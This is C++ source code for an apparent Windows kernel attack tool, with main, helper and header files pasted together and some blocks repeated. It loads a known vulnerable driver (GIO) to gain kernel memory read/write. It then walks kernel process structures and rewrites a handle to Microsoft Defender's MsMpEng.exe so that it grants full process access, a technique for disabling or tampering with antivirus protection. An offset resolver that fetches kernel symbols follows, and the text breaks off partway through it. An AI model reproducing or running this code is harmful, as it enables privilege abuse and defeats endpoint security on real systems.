if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int main()
{
// 1. Enable SeDebugPrivilege for the current process
BOOL setPriv = EnableSeDebugPrivilege();
// 2. Get offsets
KernelOffsets off{};
if (!ResolveKernelOffsets(off)) {
printf("\n[-] Failed to resolve kernel offsets\n");
return 1;
}
printf("\n[+] Offsets resolved\n");
g_offsets.ObjectTable = off.ObjectTable;
g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
g_offsets.UniqueProcessId = off.UniqueProcessId;
g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
printf("ObjectTable: 0x%llX\n", (unsigned long long)g_offsets.ObjectTable);
printf("ActiveProcessLinks: 0x%llX\n", (unsigned long long)g_offsets.ActiveProcessLinks);
printf("UniqueProcessId: 0x%llX\n", (unsigned long long)g_offsets.UniqueProcessId);
printf("PsInitialSystemProcess: 0x%llX\n", (unsigned long long)g_offsets.PsInitialSystemProcess);
// 3. List all drivers
vector<KernelDriver> drivers = GetSortedKernelDrivers();
// 4. Get ntoskrnl.exe address
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
cout << "NTOSKRNL Base address " << hex << ntoskrnlBase << endl;
getchar();
HANDLE drv = openVulnDriver();
DWORD pid = GetCurrentProcessId();
// 5. Get EPROCESS of the target process
DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);
// 6. Open MsMpEng.exe process with lowest permissions
DWORD windefPID = getPIDbyProcName("MsMpEng.exe");
HANDLE hWD = OpenProcess(SYNCHRONIZE, FALSE, windefPID);
// 7. Find ObjectTable
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
cout << "eprocess: " << hex << eprocess << endl;
cout << "ObjectTable off: " << hex << g_offsets.ObjectTable << endl;
cout << "objectTableAddr: " << hex << objectTableAddr << endl;
if (eprocess == 0) {
cout << "[-] eprocess is NULL, abortando" << endl;
return 1;
}
getchar();
getchar();
DWORD64 handleTablePtr = 0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));
cout << "HandleTable ptr: " << hex << handleTablePtr << endl;
getchar();
DWORD64 tableCode = 0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));
DWORD64 level = tableCode & 0x3;
DWORD64 tableBase = tableCode & ~0x3ULL;
cout << "TableCode: " << hex << tableCode << " | Level: " << level << " | TableBase: " << tableBase << endl;
getchar();
DWORD64 handleValue = (DWORD64)hWD;
DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;
cout << "Entry address for hWD: " << hex << entryAddress << endl;
getchar();
DWORD64 highQword = 0;
ReadPrimitive(drv, &highQword, (LPVOID)(uintptr_t)(entryAddress + 8), sizeof(DWORD64));
cout << "HighQword: " << hex << highQword << endl;
//DWORD currentAccess = (highQword >> 19) & 0x1FFFFFF;
DWORD currentAccess = highQword & 0x1FFFFFF;
cout << "Current GrantedAccess: " << hex << currentAccess << endl;
DWORD64 mask = 0x1FFFFFFULL;
DWORD64 newHighQword = (highQword & ~mask) | (PROCESS_ALL_ACCESS & mask);
WritePrimitive(drv, (LPVOID)(uintptr_t)(entryAddress + 8), &newHighQword, sizeof(DWORD64));
DWORD64 verify = 0;
ReadPrimitive(drv, &verify, (LPVOID)(uintptr_t)(entryAddress + 8), sizeof(DWORD64));
cout << "GrantedAccess after patch: " << hex << (verify & mask) << endl;
getchar();
return 0;
}#include <Windows.h>
#include <winternl.h>
#include <vector>
#include <string>
#include <algorithm>
#include <iostream>
#include <TlHelp32.h>
#include "GetOffsets.h"
#include "DrvOps.h"
using namespace std;
struct offsets {
ULONG64 ActiveProcessLinks;
ULONG64 UniqueProcessId;
ULONG64 ObjectTable;
ULONG64 PsInitialSystemProcess;
} g_offsets = {
};
typedef struct _SYSTEM_MODULE_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
struct KernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32_t Size;
};
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
if (drivers.empty()) {
return 0;
}
for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos) {
return (DWORD64)drv.BaseAddress;
}
}
return 0;
}
std::vector<KernelDriver> GetSortedKernelDrivers() {
std::vector<KernelDriver> driverList;
auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation) return driverList;
ULONG len = 0;
const int SystemModuleInformation = 11;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);
if (status != 0) return driverList; // STATUS_SUCCESS = 0
auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
KernelDriver drv;
drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
drv.Size = entry.ImageSize;
const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
drv.Name = std::string(nameStart);
driverList.push_back(drv);
}
std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;
});
return driverList;
}
DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
if (ntoskrnlBase == 0)
{
std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
return 0;
}
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess; // Get EPROCESS of the System process (PID 4)
cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;
getchar();
// Open Driver
getchar();
// Read Primitive to get EPROCESS structure from System Process
DWORD64 systemEPROCESS = 0;
BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
cout << "System EPROCESS: " << systemEPROCESS << endl;
// Make sure that the EPROCESS is not from the PID 4 (System)
DWORD systemPid = 0;
BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
cout << "System PID: " << systemPid << endl;
if (systemPid == pid) {
return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
}
// Walk through the whole list
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
cout << "headList address :" << headList << endl;
// Get first process
DWORD64 firstProcess = 0;
BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
if (!readFirstResult) {
cout << "Failed getting first process" << endl;
}
cout << "First Flink: " << firstProcess << endl;
DWORD64 currentProcess = firstProcess;
int counter = 0;
getchar();
cout << "Starting while " << endl;
while (currentProcess != headList && counter < 5000) {
counter++;
DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
cout << "Checking EPROCESS " << eprocess << endl;
// Read PID
DWORD currentPid = 0;
BOOL readPIDResult = ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (!readPIDResult) {
cout << "Error getting current PID " << endl;
}
cout << "Current PID " << currentPid << endl;
if (currentPid == pid) {
cout << "Correct EPROCESS Found " << endl;
return eprocess;
}
// Read next one
DWORD64 nextProcess = 0;
BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
if (!readNextResult) {
cout << "Error getting next result " << endl;
}
currentProcess = nextProcess;
}
cout << "PID Not found after checking all processes " << endl;
return 0;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
BOOL EnableSeDebugPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int main()
{
// 1. Enable SeDebugPrivilege for the current process
BOOL setPriv = EnableSeDebugPrivilege();
// 2. Get offsets
KernelOffsets off{};
if (!ResolveKernelOffsets(off)) {
printf("\n[-] Failed to resolve kernel offsets\n");
return 1;
}
printf("\n[+] Offsets resolved\n");
g_offsets.ObjectTable = off.ObjectTable;
g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
g_offsets.UniqueProcessId = off.UniqueProcessId;
g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
printf("ObjectTable: 0x%llX\n", (unsigned long long)g_offsets.ObjectTable);
printf("ActiveProcessLinks: 0x%llX\n", (unsigned long long)g_offsets.ActiveProcessLinks);
printf("UniqueProcessId: 0x%llX\n", (unsigned long long)g_offsets.UniqueProcessId);
printf("PsInitialSystemProcess: 0x%llX\n", (unsigned long long)g_offsets.PsInitialSystemProcess);
// 3. List all drivers
vector<KernelDriver> drivers = GetSortedKernelDrivers();
// 4. Get ntoskrnl.exe address
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
cout << "NTOSKRNL Base address " << hex << ntoskrnlBase << endl;
getchar();
HANDLE drv = openVulnDriver();
DWORD pid = GetCurrentProcessId();
// 5. Get EPROCESS of the target process
DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);
// 6. Open MsMpEng.exe process with lowest permissions
DWORD windefPID = getPIDbyProcName("MsMpEng.exe");
HANDLE hWD = OpenProcess(SYNCHRONIZE, FALSE, windefPID);
// 7. Find ObjectTable
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
cout << "eprocess: " << hex << eprocess << endl;
cout << "ObjectTable off: " << hex << g_offsets.ObjectTable << endl;
cout << "objectTableAddr: " << hex << objectTableAddr << endl;
if (eprocess == 0) {
cout << "[-] eprocess is NULL, abortando" << endl;
return 1;
}
getchar();
getchar();
DWORD64 handleTablePtr = 0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));
cout << "HandleTable ptr: " << hex << handleTablePtr << endl;
getchar();
DWORD64 tableCode = 0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));
DWORD64 level = tableCode & 0x3;
DWORD64 tableBase = tableCode & ~0x3ULL;
cout << "TableCode: " << hex << tableCode << " | Level: " << level << " | TableBase: " << tableBase << endl;
getchar();
DWORD64 handleValue = (DWORD64)hWD;
DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;
cout << "Entry address for hWD: " << hex << entryAddress << endl;
getchar();
DWORD64 highQword = 0;
ReadPrimitive(drv, &highQword, (LPVOID)(uintptr_t)(entryAddress + 8), sizeof(DWORD64));
cout << "HighQword: " << hex << highQword << endl;
//DWORD currentAccess = (highQword >> 19) & 0x1FFFFFF;
DWORD currentAccess = highQword & 0x1FFFFFF;
cout << "Current GrantedAccess: " << hex << currentAccess << endl;
DWORD64 mask = 0x1FFFFFFULL;
DWORD64 newHighQword = (highQword & ~mask) | (PROCESS_ALL_ACCESS & mask);
WritePrimitive(drv, (LPVOID)(uintptr_t)(entryAddress + 8), &newHighQword, sizeof(DWORD64));
DWORD64 verify = 0;
ReadPrimitive(drv, &verify, (LPVOID)(uintptr_t)(entryAddress + 8), sizeof(DWORD64));
cout << "GrantedAccess after patch: " << hex << (verify & mask) << endl;
getchar();
return 0;
}DrvOps.h
#include <iostream>
#include <Windows.h>
// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
using namespace std;
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
return TRUE;
}
HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
return NULL;
}
return driver;
}#include <iostream>
#include <Windows.h>
// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
using namespace std;
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
return TRUE;
}
HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
return NULL;
}
return driver;
}GetOffsets.h
#pragma once
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include <Windows.h>
#include <winhttp.h>
#include <dbghelp.h>
#include <stdio.h>
#include <string>
#include <vector>
//#include <algorithm>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "dbghelp.lib")
// Data Structures
struct PdbCodeViewInfo {
GUID Guid;
DWORD Age;
char PdbFileName[MAX_PATH];
};
struct KernelOffsets {
// EPROCESS struct field offsets (bytes from struct base)
DWORD ObjectTable;
DWORD UniqueProcessId;
DWORD ActiveProcessLinks;
DWORD64 PsInitialSystemProcess;
};
// PE Parsing
#pragma pack(push, 1)
struct CV_INFO_PDB70 {
DWORD CvSignature; // 0x53445352 = 'RSDS'
GUID Signature;
DWORD Age;
char PdbFileName[1];
};
#pragma pack(pop)
static DWORD RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva) {
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (rva >= sec->VirtualAddress &&
rva < sec->VirtualAddress + sec->Misc.VirtualSize)
return rva - sec->VirtualAddress + sec->PointerToRawData;
}
return 0;
}
static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
HANDLE hFile = CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open '%s' (err %lu)\n", exePath, GetLastError());
return false;
}
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
bool ok = ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr)
&& rd == buf.size();
CloseHandle(hFile);
if (!ok) return false;
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return false;
auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!dd.VirtualAddress || !dd.Size) return false;
DWORD ddOff = RvaToFileOffset(nt, dd.VirtualAddress);
if (!ddOff || ddOff + dd.Size > buf.size()) return false;
int entryCount = dd.Size / sizeof(IMAGE_DEBUG_DIRECTORY);
auto* entries = reinterpret_cast<PIMAGE_DEBUG_DIRECTORY>(buf.data() + ddOff);
for (int i = 0; i < entryCount; i++) {
if (entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW) continue;
DWORD raw = entries[i].PointerToRawData;
if (!raw) raw = RvaToFileOffset(nt, entries[i].AddressOfRawData);
if (!raw || raw >= buf.size()) continue;
auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'
out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
return true;
}
printf("[-] No CodeView RSDS entry found in PE\n");
return false;
}
// PDB Cache Validation
#pragma pack(push, 1)
struct MsfSuperBlock {
char FileMagic[0x20];
DWORD BlockSize;
DWORD FreeBlockMapBlock;
DWORD NumBlocks;
DWORD NumDirectoryBytes;
DWORD Unknown;
DWORD BlockMapAddr;
};
struct PdbInfoStreamHeader {
DWORD Version;
DWORD Signature;
DWORD Age;
GUID UniqueId;
};
#pragma pack(pop)
static bool ExtractGuidFromPdb(const char* pdbPath, GUID& outGuid) {
HANDLE hFile = CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) return false;
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr);
CloseHandle(hFile);
if (buf.size() < sizeof(MsfSuperBlock)) return false;
// MSF 7.00 magic (null-terminated string is 32 bytes including padding)
static const char kMsfMagic[] = "Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
auto* sb = reinterpret_cast<MsfSuperBlock*>(buf.data());
if (memcmp(sb->FileMagic, kMsfMagic, sizeof(kMsfMagic) - 1) != 0) return false;
DWORD bs = sb->BlockSize;
DWORD nd = sb->NumDirectoryBytes;
if (!bs || !nd) return false;
DWORD nDirBlocks = (nd + bs - 1) / bs;
DWORD bmOffset = sb->BlockMapAddr * bs;
if (bmOffset >= buf.size()) return false;
// Reconstruct stream directory into contiguous buffer
auto* blockIdx = reinterpret_cast<DWORD*>(buf.data() + bmOffset);
std::vector<BYTE> dir(nd, 0);
DWORD written = 0;
for (DWORD i = 0; i < nDirBlocks; i++) {
DWORD blkOff = blockIdx[i] * bs;
if (blkOff >= buf.size()) break;
DWORD chunk = min(bs, nd - written);
memcpy(dir.data() + written, buf.data() + blkOff, chunk);
written += chunk;
}
// Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
if (numStreams < 2) return false;
auto* streamSizes = reinterpret_cast<DWORD*>(dir.data() + 4);
auto* flatBlocks = reinterpret_cast<DWORD*>(dir.data() + 4 + numStreams * 4);
DWORD s0Size = streamSizes[0];
DWORD s0Blocks = (s0Size == 0xFFFFFFFF) ? 0 : (s0Size + bs - 1) / bs;
// Stream 1 first block index sits right after all of stream 0's block indices
DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
if (s1BlockOff + sizeof(PdbInfoStreamHeader) > buf.size()) return false;
outGuid = reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
return true;
}
// PDB Download via WinHTTP from Microsoft Symbol Server
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
wchar_t guid[48];
swprintf_s(guid,
L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
age);
std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}
static bool DownloadPdb(const GUID& guid, DWORD age, const wchar_t* pdbNameW, const char* outPath) {
std::wstring uri = BuildSymSrvUri(guid, age, pdbNameW);
printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());
HINTERNET hSess = WinHttpOpen(L"PDBOffsets/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSess) { printf("[-] WinHttpOpen failed (%lu)\n", GetLastError()); return false; }
HINTERNET hConn = WinHttpConnect(hSess, L"msdl.microsoft.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = hConn ? WinHttpOpenRequest(hConn, L"GET", uri.c_str(),
nullptr, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE) : nullptr;
auto closeAll = [&] {
if (hReq) WinHttpCloseHandle(hReq);
if (hConn) WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
};
if (!hReq) { closeAll(); return false; }
if (!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hReq, nullptr)) {
printf("[-] WinHTTP request failed (%lu)\n", GetLastError());
closeAll();
return false;
}
DWORD status = 0, statusLen = sizeof(status);
WinHttpQueryHeaders(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);
if (status != 200) {
printf("[-] HTTP %lu from symbol server\n", status);
closeAll();
return false;
}
// Read body in chunks
std::vector<BYTE> body;
body.reserve(32 * 1024 * 1024);
BYTE chunk[65536];
DWORD rd = 0;
while (WinHttpReadData(hReq, chunk, sizeof(chunk), &rd) && rd > 0)
body.insert(body.end(), chunk, chunk + rd);
closeAll();
if (body.empty()) {
printf("[-] Empty response from symbol server\n");
return false;
}
HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath, GetLastError());
return false;
}
DWORD wr = 0;
WriteFile(hFile, body.data(), static_cast<DWORD>(body.size()), &wr, nullptr);
CloseHandle(hFile);
printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
return true;
}
// DbgHelp Symbol Resolution
struct SymFindCtx {
const char* name;
DWORD64 address;
bool found;
};
struct TypeFindCtx {
const char* name;
ULONG typeIndex;
bool found;
};
static BOOL CALLBACK OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* s = static_cast<SymFindCtx*>(ctx);
if (_stricmp(pInfo->Name, s->name) == 0) {
s->address = pInfo->Address;
s->found = true;
return FALSE;
}
return TRUE;
}
static BOOL CALLBACK OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* t = static_cast<TypeFindCtx*>(ctx);
if (_stricmp(pInfo->Name, t->name) == 0) {
t->typeIndex = pInfo->TypeIndex;
t->found = true;
return FALSE;
}
return TRUE;
}
// Returns RVA (offset from module base) of a named global symbol.
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
if (!ctx.found || !ctx.address) {
printf("[-] Symbol not found: %s\n", symName);
return 0;
}
return ctx.address - modBase;
}
// Returns byte offset of a named field within a named struct.
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
const char* structName, const char* fieldName) {
TypeFindCtx tCtx{ structName, 0, false };
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if (!tCtx.found) {
printf("[-] Struct not found: %s\n", structName);
return 0;
}
DWORD childCount = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
childCount == 0)
return 0;
// TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
size_t paramSz = sizeof(TI_FINDCHILDREN_PARAMS) + childCount * sizeof(ULONG);
std::vector<BYTE> paramBuf(paramSz, 0);
auto* params = reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
params->Count = childCount;
params->Start = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
return 0;
// Convert target field name to wide for comparison with TI_GET_SYMNAME output
wchar_t wField[256];
MultiByteToWideChar(CP_ACP, 0, fieldName, -1, wField, 256);
for (DWORD i = 0; i < childCount; i++) {
WCHAR* nameW = nullptr;
if (!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
continue;
bool match = (_wcsicmp(nameW, wField) == 0);
LocalFree(nameW); // DbgHelp allocates with LocalAlloc
if (match) {
DWORD offset = 0;
